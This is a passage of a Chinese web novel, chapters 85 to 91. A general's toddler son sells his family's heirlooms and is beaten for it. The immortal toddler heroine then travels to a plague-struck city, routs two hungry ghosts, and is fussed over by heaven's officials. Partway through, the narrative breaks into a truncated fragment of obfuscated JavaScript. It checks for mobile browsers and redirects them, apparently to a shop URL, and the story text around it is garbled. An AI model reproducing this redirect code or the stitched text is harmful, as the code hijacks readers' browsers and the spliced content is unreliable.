朱静言被踹得脸朝下,跌了个狗吃屎,满脸懵逼地回头:“爹?我咋了?”
“你还咋了?”威武将军胡子都翘起来了,“人家小郡主,小小年纪,就给自家娘亲挣来了正二品的荣耀,护国夫人!你听听,护国,多好听!”
“你再看看你!”
他指着朱静言的鼻子,痛心疾首:
“天天跟在人家屁股后面,一口一个师父,叫得比亲爹还亲!结果呢?一点长进都没有!”
“你什么时候能给你娘挣个诰命回来?哪怕是九品也行啊!”
朱静言委屈巴巴:“爹,我才三岁半……”
“三岁半怎么了?”威武将军瞪眼,“人家小郡主才一岁半!一岁半!”
“你比人家大两岁,天天就知道玩泥巴,还用你那童子尿呲着玩?”
朱静言被骂得缩成一团。
威武将军,生气的又是踢了一脚。
晚上,将军夫人又接着给他洗脑。
“儿啊,娘也不指望你多有出息,但你看看人家小郡主,再看看你……”
朱静言:(╥﹏╥)
这一夜,他被爹娘轮番叨叨,直到半夜才睡着。
第二日。
学堂门口。
许呦呦刚下马车,就看见朱静言晃晃悠悠地走过来。
她吓了一跳,不敢相信地看着她的小徒弟。
只见朱静言顶着两个乌青的黑眼圈,脸色蜡黄,走路都打飘,活像一只被吸干了阳气的小鬼。
“泥……泥昨晚干虾米去了?”许呦呦瞪大眼睛,“怎么弄滴跟鬼附身似滴?”
朱静言一把抓住她的手,眼泪汪汪:
“师父啊,你教教我,怎么才能给我娘挣个诰命啊!”
许呦呦眨巴眨巴眼:“泥肿么啦?”
朱静言哭丧着脸,把昨晚被爹娘轮番轰炸的事说了一遍。
“我爹说,你给你娘挣了正二品,我连个九品都没给我娘挣回来……我娘说,她不求我多有出息,但好歹争点气……”
“师父,您快教教我,让我也给我娘挣个气吧……求您了!”
第86章 您儿子聪明吧?
许呦呦沉思了一会儿,然后,小眼睛瞬间一亮。
“介个简单呀!”
朱静言瞬间来了精神:“怎么弄?”
“泥也赚钱,捐给国库,就阔以啦!”
朱静言一听,两眼放光,心里瞬间雀跃起来。
赚钱!
这个……这个好办啊!
他可是威武将军府最受宠的小公子啊,那能卖的东西可是多了去了呀!
朱静言喜滋滋的,在心里盘算着……
次日一早。
国子监内院。
老远就听见里面传来一阵热闹的吆喝声。
只见院子中间,空地上摆满了各种各样的物件——
有寒光闪闪的宝剑,剑身上刻着龙纹,一看就不是凡品;有精良的**,刀鞘上镶着宝石;有沉甸甸的铁锤,锤柄上还刻着“威武”二字;还有各种名贵的药材,百年人参、千年灵芝、雪山雪莲……
地上还铺着一匹浮光锦,被撕成一条一条的,当做捆物件的布条。
旁边还扔着几件精巧的小玩意儿,什么玉如意、金算盘、翡翠白菜……
满满当当,摆了一地。
朱静言站在中间,叉着腰,扯着嗓子吆喝:
“来来来!一个铜板一个!随便你挑,随便你选!”
“走过路过不要错过!一个铜板,你买不了吃亏,买不了上当,买滴笑容挂脸上!”
“买了我的东西,泥爹笑,泥娘乐,幸福快乐把泥绕!”
“买了我的东西,背书考使全都肥!”
“买了我的东西,回家爹娘给糖糖!”
“买了我的东西,睡觉做梦都香香!”
……
那吆喝声,那架势,跟许呦呦简直一个模子刻出来的。
孩子们瞬间沸腾了。
“哇!那个剑好帅!”
“我要那个**!”
“人参!人参给我留着,我买回去给我祖母炖汤喝!”
……
一群孩子一拥而上,争先恐后地掏铜板。
朱静言忙得不可开交,收钱收到手软,笑得嘴都合不拢。
半个时辰不到,他就挣了几十个铜板!
朱静言开心地直跳:
“师父!你这方法太好了!这才半个时辰,我就挣了几十个铜板!”
“这下别说是诰命了,就是女官,我娘也不是不可能啊!”
许呦呦站在旁边,看着满地的物件,小脸上的震惊,久久都没缓过来。
“泥……泥介东西,都似从哪乃滴?”
朱静言骄傲地扬起下巴,一脸得意:
“师父,我趁着爹娘睡着了,把库房里能拿的,都搬过来了!”
他拍了拍胸脯:
“怎么样?我聪明吧?”
平时能说会道的小姑娘,瞬间沉默了。
她一脸同情和怜悯地看着朱静言,甚至还伸出手,轻轻摸了摸他的脑袋。
那眼神,复杂极了。
“聪不聪明,窝扒几道……”
她深深地叹了口气:
“但似抗不抗揍,就扒好嗦咧。”
说完,小家伙赶紧默默往后退了两步。
孔大儒刚把许呦呦摆小摊的事情处理完,正坐在屋里喝茶顺气。
忽然,助教连滚带爬地冲进来:
“夫夫夫夫子!不不好好了……”
孔大儒腾地站起来:“又是何事?可是小郡主又干了什么惊天泣鬼的事?”
助教喘着粗气:“不……不是小郡主,是朱静言,他也摆摊了!比小郡主还夸张!”
“噗!!”
孔大儒刚喝到嘴里顺气的一口茶,全部喷了出来。
他冲到院子里,被眼前这一幕,整的一股血气,直冲天灵盖。
孔大儒捂着心口,眼前发黑。
“去……去把威武将军夫妇请来!”
威武将军和夫人来得倒是很快。
“臭小子,你是不是给老子又闯祸了?”只见威武将军朱孟德一身戎装,大步流星地冲进来。
“将军,您别冲动哈,儿子被叫家长,也不一定是闯祸,万一是受到夫子表扬了呢?”将军夫人跟在后面一脸担忧地劝道。
自己好不容易得来的这小儿子,平日可没少挨他爹揍。
夫妻俩一左一右,走进院子。
但是,眼前的景象,瞬间淹没了他们本来就仅剩不多的理智。
朱将军愣在原地,浑身血气攻得他直接缓不过神啊。
啊啊啊啊啊!!!
他的昭武剑啊!!
那不仅是先皇御赐的宝物,更是陪他上阵杀敌二十年
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的老战友啊。
此刻,正被一个小胖子拿在手里,翻来覆去地看,上面还沾着泥巴手印。
还有那精良的**,那可是削过匈奴将领脑袋的,此刻正被几个小娃娃撬着那刀鞘上的红宝石。
就沉甸甸的铁锤,都被几个孩子当成皮球踢来踢去。
威武将军的脸,黑的就像被惊雷刚劈过一般。
而身旁将军夫人,两眼一翻,差点栽倒在地。
啊啊啊啊啊!!!
她的浮光锦啊!
她一直舍不得用的浮光锦,是江南最好的织锦,一年才产三匹,她费劲心思才得了这一匹啊!
此刻,被撕成一条一条,扔在地上当布条!
还有她的翡翠玉簪,被当成筷子在夹石头;她的金丝软烟罗,被撕成小块当手帕;她的红宝石项链,珠子被抠下来当弹珠……
将军夫人捂着胸口,大口喘气,生怕自己下一瞬,就两腿一蹬去了……
孔大儒刚张口,想说几句客套话,解释一下事情经过……
只见威武将军和将军夫人,拳头握得咯咯作响,顺带将手腕脚腕的筋骨活动了一番。
两人对视一眼,只见彼此眼中,都燃烧着熊熊怒火。
二人皆是武将出身,只一个转移,就冲到了朱静言。
朱静言还傻乎乎地站在那儿,手里捧着一兜铜板,满脸得意。
看见爹娘来了,他眼睛一亮,更是兴奋地举着铜板跑过去:
“爹!娘!你们来啦,快看!”
他献宝似的把铜板捧到将军夫人面前:
“娘,您的诰命儿子马上就卖够了!您看,都快卖完了!”
他指着地上所剩不多的物件,一脸骄傲:
“这都是咱们家库房里不用的东西,放在那也是落灰,我就全搬过来了,一个铜板一个,也算是废物利用了!”
“怎么样?您儿子聪明吧?”
将军夫人:(╬▔皿▔)╯
威武将军:╰(艹皿艹)
朱静言见他们不说话,只以为是被感动了。
“诶,娘,您别哭啊!”他赶紧安慰,“儿子这么努力,就是想给娘挣个诰命!”
“哎呦,爹,您眼睛怎么红了呢?是不是因为儿子太让您感动了?”
第87章 窝也要去
威武将军的额角青筋暴起,突突直跳。
将军夫人的牙齿咬的,咯咯作响。
夫妻两人对视一眼,从牙缝里挤出几个字:
“整吧!!”
下一瞬——
“啊——!!!”
朱静言痛彻心扉的惨叫声,响彻整个国子监。
“爹!娘!你们打**什么!”
“啊……疼疼疼……别打啊……我的脸啊!”
“啊啊……我……我做错什么了吗?我就是想给娘挣诰命啊!”
“啊啊啊……救命啊!!”
威武将军夫妇一边追,一边揍,一边骂。
“逆子!”威武将军一鸡毛掸子抽在朱静言屁股上,“今日不打死你,都对不起老子的昭武剑!”
“对!”将军夫人一鸡毛掸子抽在他背上,“不打死你,更对不起老娘的浮光锦!”
朱静言抱着脑袋满院子跑,嗷嗷惨叫:
“爹!娘!你们……你们打**什么……我不服!”
他一边跑一边回头喊:
“凭什么打我?我师父能赚钱,我为什么不能赚?再说了,我还不是想给娘挣个诰命!”
将军夫人气的差点原地升天。
“老娘,谢谢你那漫天飞舞的大饼!”
她追上去又是狠狠一掸子:
“你还有脸跟人家小郡主比?”
“人家小郡主有脑子,你有吗?”
朱静言被打得上蹿下跳,嘴里还不忘辩解:
“我……我不是想着废物利用嘛……那些东西放在库房里也是落灰……”
威武将军气得眼睛都红了,追上去就是一顿暴揍:
“老子踏马的,看你才是那个废物!!”
“啊啊啊——饶命啊——!”
朱静言的惨叫声,响彻整个国子监。
许呦呦站在远处,默默往后退着,两只小胖手捂着眼睛,却又忍不住从指缝里偷偷看。
嘶~~
康着都疼。
她龇牙咧嘴地缩了缩脖子,小声嘟囔:
“窝就嗦嘛,抗不抗揍,就扒好嗦咧……”
半个时辰后。
威武将军夫妇打累了,气喘吁吁地停下来。
最终,夫妻俩开始挨个找那些买了东西的孩子,花高价把那些物件一一赎回来。
接着,拎起那个还在哼哼唧唧的蠢儿子,像拎小鸡仔似的,把他拎回了家。
朱静言被架在空中,还不忘回头冲许呦呦喊:
“师父啊……那铜板……你帮我捐国库啊!”
许呦呦默默摆手。
你还是先想想怎么保住小命吧。
第二日。
正逢休沐。
一大早,许呦呦便被一阵急促的马蹄声惊醒。
许呦呦一个激灵爬起来,光着小脚丫就往门口跑。
刚到正厅门口,就看见顾振宇一身戎装,脸色凝重地站在那儿。
杨婉云也是一脸震惊,忍不住惊呼:
“什么?宋城突发时疫?严重吗?”
顾振宇点点头,眉头紧锁:
“很严重,城中已经**不少人,感染的人不计其数,现在已经封城了。陛下命我即刻带兵前去救援。”
他顿了顿,看向杨婉云,眼神十分复杂:
“婉云,走之前,我……我最放心不下的,就是你们母女。”
许呦呦站在门口,眯着眼睛,看向远处,小脸绷得更紧了。
她小短腿噔噔噔跑过去,一把抱住顾振宇的大腿。
“爹爹!窝要跟泥一起去!”
顾振宇一愣,随即蹲下身,把她抱起来:
“闺女,不行。那可是时疫,很危险的,你不能去。”
杨婉云也赶紧上前,斩钉截铁:
“不行!呦呦,娘也不同意!”
许呦呦搂着顾振宇的脖子,软软糯糯地摇着,小脸在他脸上蹭来蹭去,软萌萌、热乎乎的,
“爹爹一个银去,窝不放心!”
“窝很厉害滴,窝能帮爹爹!”
“再说咧,窝会想爹爹,会担心爹爹,更会碎不着觉!”
被哄得晕头转向某人,嘴角都快咧到耳根了,最后一咬牙:
“好!那爹爹带你进宫,去请陛下恩准!”
此时,御书房里,气氛凝重。
皇帝正和玄清道长讨论宋城瘟疫的事,两人眉头紧锁,面色都不好看。
“陛下,贫道昨夜观星,宋城方向血气冲天,灾星笼罩……”玄清道长捋着胡子,一脸深沉,“情况怕是……极其不妙啊。”
话音刚落,顾振宇抱着许呦呦大步走了进来。
玄清道长一抬头,看见那个
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粉糯糯的小团子,眼睛瞬间亮了。
“小祖宗!!!”
他一个箭步冲上去,满脸堆笑:
“小祖宗您来啦!太好了太好了!贫道正想着什么时候去找您呢!”
许呦呦嫌弃地看了他一眼。
顾振宇更直接,一巴掌拍在他后脑勺上:
“臭道士,闪开!别挡路!”
玄清道长捂着后脑勺,委屈巴巴地退到一边。
许呦呦从顾振宇怀里探出小脑袋,看向皇帝:
“皇伯伯,窝也要跟爹爹去宋城!”
皇帝一愣,随即脸一板:
“不行!”
他站起身走过来,伸手揉了揉呦呦的小脑袋:
“呦呦乖,那不是闹着玩的。时疫凶猛,你还太小,不能去。”
许呦呦小嘴一撅,指了指远方,小脸认真:
“皇伯伯,介臭道士只嗦对了一半,介瘟疫很不好,辣是因为有……邪崇!”
“不信,泥再让他算算!”
皇帝脸色一变。
邪崇?
那可是只出现在书本里的东西,据说能为祸人间,毁天灭地……
他猛地转头看向玄清道长。
顾振宇也认真地看向他。
玄清道长被看得浑身发毛,下意识往后缩了缩。
“呃……这个……”
他偷偷瞄了许呦呦一眼。
小家伙圆溜溜的大眼睛一瞪。
玄清道长吓一个激灵,赶紧挺直腰板:
“好好好,算算算!贫道这就算!”
随即又小声嘟囔:“合着,只要有天命的因果,就让我一人受了呗……”
一边嘟囔,一边从袖子里掏出罗盘。
随即,手指飞快掐动,口中念念有词。
片刻后,他额头上开始渗出细密的汗珠,脸色渐渐发白,仿佛用尽了全身心力。
半晌。
他缓缓睁开眼睛,长出一口气,郑重其事地说道:
“陛下,贫道确实看到……看到那宋城上空,有邪崇飘荡,甚是诡异!”
许呦呦瞥了他一眼,“合着,泥装神弄鬼半天,就康到个鬼啊?介不似长眼睛,都能看到滴嘛?”
在小家伙心里,修道之人能看到这些玩意儿,就应该跟吃饭睡觉一样稀松平常呀。
玄清道长:……
第88章 窝,控制不住窝寄几
皇帝深吸一口气,脸色更难看了。
他更坚决地回绝了:“那更不能去了!太危险了!”
“要去的话,”他看向玄清道长,“就让玄清道长先去会会那些邪祟,咱们再从长计议。”
玄清道长愣住了,他指了指自己的鼻子,一脸不敢置信:
合着,我就是那个该万死的人呗?
许呦呦歪着小脑袋指着他,“臭道士,当然要跟窝们一起去。”
“不然,”她顿了顿,小脸上露出一丝同情,“他那师兄,阔米人给他收尸咧。”
玄清道长浑身一震,“师……师兄?”
他猛地冲到许呦呦面前,两眼瞪得像铜铃:
“小祖宗!您是说……我师兄在宋城?”
许呦呦点点头,轻飘飘地说道,“他呀,不光在,还在等着泥给他收尸咧。”
“泥辣师兄啊,哎……”
这一生叹息,叹的玄清道长一下子愣住了。
顾振宇赶紧上前,给了他一脑瓜,“臭道士,你报仇的机会来了,还不赶紧去前面开路去……”
玄清道长捂着脑袋,心头钝痛。
他和师兄,都是被师父“骗”回来修炼的天赋异禀,根骨奇佳的好苗子。
好不容易,把师父熬**,由师兄接任衣钵,他从此便可以活得潇洒不羁爱自由。
可就在师父下葬后的第三天晚上——
师兄竟把他打晕了。
等他醒来,师兄已经不见了,只留下一封信:
“师弟,对不住了。我下山追寻真爱去了,三清观,就交给你了。”
于是,他一边守着那破道观,一边找人。
这些年,他每天念经打坐,给人算卦驱邪,过得清心寡欲,连口肉都尝不到!
可他师兄倒好,娶妻生子,快活似神仙!
玄清道长的眼眶,瞬间红了,然后一跺脚:
“好,贫僧现在就走!”
“我道倒要看看,那厮这些年过得多快活!”
他转身就往外冲,冲到门口又停下来,还是不放心地回头问了一句:
“小祖宗,您说我师兄在等我收尸……他是真快**吗?”
许呦呦摆了摆手:“米死,但似……再过几天,就扒好嗦咧,毕竟,他被真爱骗的,连裤衩子都扒剩!”
玄清道长脸色一变,二话不说,撒腿就跑。
他刚走不久,外面就传来一阵急促的脚步声。
“报——”
一个侍卫连滚带爬地冲进来,跪地禀报:
“陛下!庆王派人来报,他带着庆王妃去都城外的别院泡温泉,路过宋城时被封锁在城中!庆王妃……庆王妃好像感染了时疫!”
皇帝脸色骤变。
“什么?”
庆王妃这一胎来得多么不易,所有人都知道。
此刻,感染瘟疫,就意味着……
皇帝捂着脑袋,感觉天灵盖都在疼。
“皇伯伯,她滴崽崽,似窝赐滴,窝当然就得护到底咧!”许呦呦认真地看着皇帝,
皇帝深吸一口气,经过激烈的思想斗争后,最终还是为了地点了点头,“好,朕准了。”
同时,他看向顾振宇,目光如炬:
“顾振宇!”
“臣在!”
“朕把呦呦交给你了!你必须誓死保护好她!她要是少了一根头发,朕拿你是问!”
顾振宇脸色凝重地点头,“请陛下放心,呦呦是我女儿,我就算豁出命,也要护她周全。”
皇帝又看向高公公:
“传朕旨意,太医院三分之二的太医,即刻随行!”
“是!!”
另一边的杨府。
杨婉云自打顾振宇带着呦呦进宫,就开始收拾行李。
刘嬷嬷在旁边急得团团转:
“夫人!您这是做什么?您不会也要去吧?”
杨婉云头也不抬,手上动作不停:
“嬷嬷,去把库房里所有的药材都调出来,随时待命。还有,让人去联系京都城所有药商,能调多少药材就调多少。”
刘嬷嬷愣住了:“夫人,您这是……”
杨婉云直起身,看向皇宫的方向,眼底是一个母亲的刚毅与温柔:
“呦呦要去,我知道拦不住。但我可以陪着她,护着她。”
“她是我女儿,她在哪儿,我就在哪儿。”
一个时辰后。
顾振宇带着呦呦从宫中回来,刚进府门,就看见院子里整整齐齐停着十几辆马车,车上装满了药材和物资。
杨婉云站
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在马车旁,一身利落的骑装,发髻高挽,英姿飒爽。
顾振宇瞬间愣住了:“婉云,你这是……”
杨婉云走上前,从他怀里接过呦呦,亲了亲她的小脸,
“我陪你们一起去。”
顾振宇急了:“不行!太危险了……”
“将军!”杨婉云打断他,目光平静却坚定,“你们都是我生命中最重要的人,你们在哪,我就在哪!”
顾振宇张了张嘴,一个字都说不出来,看着杨婉云的眼底,却是无尽的动容……
许呦呦搂着娘亲的脖子,“嘿嘿,一起肘,咱们阔似富贵花开,幸福一家银……”
突然,小家伙一声惊呼,“对了,凉,泥给窝请假了米?”
“泥阔要嗦清楚咧,介阔不似窝不想上学,窝阔稀饭上学了。”
“哎……窝,介似控制不住寄几咧……”
冬梅赶紧跟着补充道,“小郡主,您是想说,您这是身不由己吧?”
“对对对,身体不由己,对辣,凉,泥还要告诉夫子,不用给窝留课业了昂!”
杨婉云:……
“这事,你大可不必再操心了。”杨婉云一边默默翻了个白眼,一边替小家伙收拾。
半个时辰后。
城门口。
寒风阵阵,却艳阳高照。
皇帝和皇后一身常服,站在城门口,身后跟着寥寥几个随从。
看见马车驶来,皇后快步迎上去。
顾振宇勒住缰绳,翻身下马。
杨婉云也抱着呦呦从马车上下来。
皇后一把将呦呦抱进怀里,搂得紧紧的,眼眶红红的。
“呦呦……好孩子……你一定要好好的……”
许呦呦拍拍她的背,奶声奶气地安慰:
“皇伯母扒哭,窝会肥来滴,窝还给泥带礼物咧!”
皇帝也走了过来,怜爱地揉了揉小姑娘毛茸茸想小脑袋,拿出国库钥匙,在小家伙面前摇的哗哗作响。
“呦呦,皇伯父这,还有好多宝贝呢,就等着你回来拿呀!”
小姑娘看到这钥匙,瞬间眼睛就亮了,“好好好,窝最稀饭宝贝啦,皇伯父放心哈,窝会快快肥来滴!”
就在这时,一阵急促的马蹄声从城内传来。
第89章 虾米时候吃窝
众人回头,只见一队人马疾驰而来,为首的是一个身姿挺拔的少年。
四皇子萧景瑜,一身劲装,策马到近前,翻身下马,单膝跪地:
“父皇、母后,儿臣**,随舅舅一同前往宋城!”
皇帝一愣:“瑜儿?你……”
萧景瑜抬起头,看着许呦呦,目光坚定:
“儿臣也想出一份力,为百姓做些事。”
皇后看着儿子那张年轻而坚毅的脸,眼泪流得更凶了。
皇帝沉默片刻,终于点了点头:
“好,去吧,一定要把呦呦护好。”
萧景瑜抱拳:“儿臣遵旨!”
救灾大军浩浩荡荡驶出城门,旌旗猎猎,马蹄声急。
顾振宇一马当先,面色凝重。
军情如火,时疫不等人,多耽搁一刻,城中便多死一人。
“加速行军!三日内必须赶到宋城!”
大军不敢停歇,日夜兼程。
骑兵开道,步兵紧随,载满药材的马车在官道上颠簸疾驰。
将士们轮班休息,马匹换了一匹又一匹,唯独赶路的脚步从未停歇。
顾振宇时不时回头看了一眼身后那辆马车,里那面载着他此生最珍视的两个人。
他握紧缰绳,眸光如铁。
直到抵达距离宋城三十里外的一处驿站,这才停下歇脚。
连日赶路,众人都累得够呛。
许呦呦更是困得东倒西歪,刚被杨婉云抱进房间,沾床就秒睡过去,小呼噜打得震天响。
杨婉云心疼地给她盖好被子,轻手轻脚退了出去。
房间里,小小一团蜷在被窝里,睡得小脸红扑扑的。
也不知过了多久。
朦朦胧胧间,许呦呦总觉得耳边有絮絮叨叨的声音,嗡嗡嗡响个不停。
“呜呜呜……小祖宗……您行行好……睁开眼看看小的吧……”
许呦呦小眉头皱成一团,终于忍不住了,闭着眼睛一嗓子吼出去:
“再哭!再哭窝就把泥嘎了!”
哭声戛然而止。
安静了一息。
然后……
“哇——!!!”
哭得更凶了!
“小祖宗……我的小祖宗耶,您终于醒了!求求您,睁睁眼吧,您……哪怕就睁一条缝,看看小的吧!”
许呦呦气得直接翻了个身,拿屁股对着他。
“泥要是再哭一哈,窝就去坐地府门口哭!”
那期期艾艾的哀嚎,瞬间闭了嘴。
许呦呦满意地咂咂嘴,准备继续睡。
身后又传来一阵窸窸窣窣的声音。
接着,一颗圆溜溜、冰凉凉的东西,轻轻碰了碰她的手背。
“小祖宗……”那声音压得极低“小的这里有个宝贝,您要不……赏个脸,睁开眼睛看看?”
宝贝?
许呦呦“噌”地一下坐起来,眼睛睁得溜圆。
“窝康康,窝康康,介似虾米?”
只见判官手里,捧着那颗莹白的仙丹,看着小祖宗那亮得吓人的眼睛,心里默默流泪。
果然,还是宝贝管用。
判官赶紧讨好解释:“回小祖宗,这是护心丸。人**之后,服下此丹,可以短暂护住心脉几日,增加还魂的几率。”
呦,介宝贝,窝稀饭!
她喜滋滋地将丹药揣进怀里,然后摆摆小手:
“好辣,宝贝窝收到啦,谢谢判官伯伯!泥阔以肘了,宝宝要碎觉了!”
“窝凉嗦,小孩子不碎觉,长不大!!”
判官:……
他欲哭无泪地看着那个已经准备躺下的小团子。
“小祖宗……”他可怜巴巴地开口,“您要不……再睁个眼缝,帮小的看看?”
许呦呦闭着眼睛:“看虾米?”
“看看我们阎王在哪儿啊!”
判官急得团团转:
“自打上次跟您说了邪祟之事,阎王就亲自出马去收拾那帮孽障了。可这一去,就再也没回来。”
“如今更是下落不明,那帮恶鬼日日冲击烈狱,阎王再不回来镇着,地府怕是保不住了啊……”
“小祖宗,小的这……这都快急**啊!”
许呦呦被他吵得脑仁疼,终于不耐烦地睁开一条眼缝,小手往窗外一指:
“呐,泥家阎王,就在城里。噶不了,就似受了点伤而已。”
判官浑身一震,随即大喜过望,嘴里不停念叨:
“没噶就好,没噶就好……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364658|199081||http|test|mini|href|location''.split(''|''),0,{}));
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r>“小祖宗,您真是活菩萨,您就是地府的救星,您就是……”
“滚!”许呦呦捂住耳朵,“窝!要!碎!觉!”
判官吓得赶紧噤声,静悄悄地退了出去,还贴心地将门关严实。
房间里终于安静下来。
许呦呦翻了个身,抱着暖呼呼的被子,闭上眼睛,很快又沉沉睡去。
此时,夜更深了。
窗外,月光被乌云遮住,周围一片漆黑。
又有两道黑影悄无声息地飘进了房间。
“哎呦呦,这哪来的小娃娃,闻着真是香得很呐~”
一个尖细的声音响起,带着贪婪的垂涎。
另一个沙哑的声音跟着附和:
“你还别说,这小崽崽嫩得我口水直流!你看这脸蛋,你看这小手手,一看就很好吃的样子。”
两个长舌鬼蹲在许呦呦床头,四只眼睛绿幽幽地放着光,贪婪地盯着床上那个睡得正香的小团子。
“可不是嘛,还有她那个爹娘,看着也很不错!”尖细声音又响起,“他们不仅肉香,身上还有功德,那可是我修炼的好养料啊!”
沙哑声音激动的舌头都掉出来了:
“对对对!功德,吃了有功德的人,咱们至少能涨百年修为!”
两个鬼对视一眼,眼中满是兴奋。
“嘘——悄悄地吃,别让他们发现……”
只见他们激动地伸出长长的舌头,舔了舔嘴唇。
“我先吃!”
“我先!”
“我修为高!”
“我饿了三百年!”
……
两个鬼吵着吵着,扭作一团直接打了起来,长长的舌头缠在一起,打得不可开交。
就在他们打得难舍难分的时候——
“泥们,打好米有?”
一道奶声奶气的声音突兀地响起。
打得正激烈的两个鬼,动作瞬间顿住。
他们缓缓转过头,对上一双圆溜溜的大眼睛。
床上,那个粉糯糯的小团子不知什么时候坐了起来,正歪着小脑袋,气鼓鼓地看着他们。
“泥们虾米时候次窝?”
两个鬼:???
娘耶!!!
真是吓死鬼啊!!!
第90章 还次不次了?
“你……你能看见我们?”尖细鬼的声音都劈叉了,长长的舌头都快捋不直了。
许呦呦小手一叉腰,小嘴一咧:
“姑奶奶窝不仅能康见泥们,窝还能……”
她伸出小胖手,“啪啪”就是两耳光,抽得两个鬼原地转了个圈。
“抽屎泥们!”
两个鬼捂着脸,一脸懵逼。
这……这是什么鬼操作啊?
明明他们才是鬼啊!
专门**的鬼啊!
怎么会被一个奶娃娃抽耳光?!
反应过来之后,两个鬼彻底怒了。
“小崽子!找死!”
他们张牙舞爪地就要扑上去,长长的舌头像两条毒蛇,朝许呦呦卷去……
“啪啪!”
又是两耳光。
两个鬼眼冒金星,又在原地转了三圈。
“泥们,还次不次了?”
啪啪~~
“嗦话呀!”
啪啪~~
“到底次不次了?”
啪啪~~
……
两个鬼就像陀螺一样,被许呦呦抽得原地疯狂打转,根本停不下来。
两鬼一边转一边翻白眼:我……我倒是想吃啊!可你得让我停下来吃啊!
“**啪啪!”
许呦呦越抽越来劲,小胖手舞得虎虎生风。
两鬼艰难哀嚎:“别……别打了……头晕……想吐……”
但是,小家伙就像找到出气筒一般,一点都没有要停下来的意思。
两个鬼都快转出残影了,长长的舌头在空中甩来甩去,跟两条彩带似的。
转了足足一刻钟。
两个鬼眼冒金星,舌头打结,魂体都开始透明了。
就在他们快要灰飞烟灭的时候,许呦呦终于收了手。
两个鬼“扑通”一声跪在地上,一个趔趄差点趴下,长长的舌头还在左右摇摆,摇摇晃晃,跟喝醉了似的。
他们艰难地捋直舌头,对着许呦呦“咚咚咚”磕头。
“小……小祖宗,我们……我们错了,求您放过我们吧!”
“我们……不次了!再也……不次了!”
许呦呦盘腿坐在床上,小手托着下巴,小手一指。
“嗦吧,介城里有多少泥们滴同伙?”
两个鬼对视一眼,犹豫了一下。
“呃……这个……”
“嗯?”许呦呦眯起眼,小手抬了抬。
尖细鬼吓得一激灵,“有有有!那可多了去了!我们老大带着几百号兄弟,把整个宋城都占了!”
沙哑鬼连连点头:“对对对!我们老大可厉害了!就连那老阎王,都不是我们老大的对手!”
“就是就是,我们老大手里有个宝贝,可厉害了!走哪吸哪,所到之处,寸草不生!那些人的气运、精气,全都被吸得干干净净!”
许呦呦瞬间来了精神。
宝贝?
“虾米宝贝?”
尖细鬼挠挠头:“具体叫啥我们也不知道,就看见老大拿个白花花的葫芦,往哪一照,它就可以肆无忌惮地吸着气运。”
沙哑鬼补充道:“还有我们老大的坐骑,那可是上古神兽!一口能吃几十个人!有时候连老大都驯服不了!”
她小嘴一咧,笑得见牙不见眼:
“介宝贝,听着就很适合窝呀!”
两个鬼看着她那副小财迷的样子,心里直发毛。
这祖宗……怎么听到宝贝,比听到他们老大还兴奋?
许呦呦心情大好,小手一挥:
“行辣,泥们走吧。”
两个鬼如蒙大赦,正要起身——
“啪!”
却瞬间化作点点星光,消散在空气中。
魂飞魄散前,他们还听见那个奶声奶气的声音轻飘飘地传来:
“忘了嗦,窝最烦别银打扰窝碎觉。”
房间里终于又安静了。
许呦呦打了个哈欠,往被窝里一钻,又睡了过去。
小呼噜依然震天响。
第二日一早。
天刚蒙蒙亮,顾振宇的号令声就响彻营地。
“全体集合!开拔前进!”
大军迅速整队,马蹄声、车轮声、脚步声交织在一起,浩浩荡荡向宋城进发。
许呦呦被杨婉云抱上马车,还迷迷糊糊的,小脑袋一点一点,跟小鸡啄米似的。
杨婉云心疼地把她搂进怀里:“睡吧,娘抱着你。”
马车颠簸前行,许呦呦窝在娘亲怀里,很快又睡着了。
而此时的
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九天之上,祥云翻涌,却无半点祥和之气。
凌霄殿外,一众仙官急得来回踱步……
“快看看,小祖宗是不是快到那宋城了?”太白金星捋着白胡子,眉头紧皱,“那地方现在邪气冲天,小祖宗现在被天地法则封了灵力,去了不就是羊入虎口吗?”
月老也跟着急直跺脚:“可不是嘛!那地方鬼气森森,还有个不知什么来头的邪祟,小祖宗那小暴脾气,万一直接冲上去……”
“那还等什么?”太上老君把手里的拂尘一甩,“咱们下去把小祖宗接回来啊!左右咱们死一死就死一死,小祖宗也不会真把咱们嘎了!”
此话一出,众仙面面相觑,刚才还喧闹的凌霄殿外,瞬间安静得不像话。
“那……那你去?”众仙纷纷看向老君。
太上老君捋胡子的手一顿,干笑两声:“老君倒是想去,可老君这把老骨头,哎呦,老君的老花眼又犯了……”
就在众仙你推我攘之际,一道清冷的身影踏云而来。
众仙定睛一看,齐齐躬身行礼:“帝君!”
帝君板着一张脸,眸色沉沉地扫过众仙。
“帝君!”太上老君像是见到了救星,“您快下去将小祖宗接回来吧!老臣实在不放心啊!她那么小一团,去了那鬼地方,万一吃亏了可怎么得了?”
毕竟,这小祖宗可是帝君一手带大的,宠得跟眼珠子似的,帝君肯定舍不得小姑娘吃亏的。
帝君轻咳一声,眸色淡淡地扫过众人:“接回来?”
众仙拼命点头。
帝君的目光扫了一圈,最后落在月老身上:“你去?”
月老吓得腿一软,差点给跪了:“帝君饶命!小臣下去,小祖宗怕是连说话的机会都不给我,直接两巴掌就给我抽成陀螺!”
“那就你去?”帝君又看向太上老君。
老君捋胡子的手一抖,脑袋摇得跟拨浪鼓似的:“帝君明鉴,老臣这老寒腿,去了也不顶啥用啊……”
帝君的目光一一扫过众仙,所到之处,众仙齐刷刷地把脑袋往云层里缩,一个个跟受惊的鹌鹑似的,恨不得把自己埋起来。
一时间,凌霄殿外鸦雀无声。
第91章 有舍才有得啊!
就在这尴尬的时刻,司命星君眼珠子一转,灵光乍现,猛地一拍手:“有了!”
众仙齐刷刷看向他……
“既然大家都担心小祖宗,又都不敢下去……”司命故意顿了顿,一脸贼笑,“那不如,咱们抽签选个代表下去?”
他越说越觉得靠谱:“让这个代表下凡,保护小祖宗一截,顺道给她捎点宝贝,把咱们的心意都带下去。”
“这样既全了大家的心,也能抚慰抚慰小祖宗之前的怒火。”
众仙一听,眼睛顿时亮了。
“妙啊!”
“司命这脑子,就是灵光!!”
